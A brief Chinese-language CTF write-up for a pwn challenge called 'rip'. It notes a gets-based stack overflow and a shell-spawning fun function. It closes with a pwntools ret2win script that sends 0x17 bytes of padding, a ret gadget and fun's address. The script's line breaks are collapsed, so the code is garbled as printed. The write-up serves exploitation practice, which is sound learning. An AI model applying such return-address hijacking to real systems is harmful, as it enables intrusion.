题目链接:rip。
IDA 打开附件,进入到 main 函数,反编译后如下。
留意到存在 gets 函数,因此存在栈溢出漏洞,经过动态调试,确定在输入 0x17 个字符后,即可覆盖到返回地址。
同时,留意到存在 fun 函数,如下。
因此,直接将程序执行流劫持到 fun 函数,即可 GetShell(此处需要注意堆栈平衡)。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *def pwn():# 0x0000000000401185 retn;sla("please input\n", 0x17 * b'a' + p64(0x0000000000401185) + p64(0x0000000000401186))irt()pwn()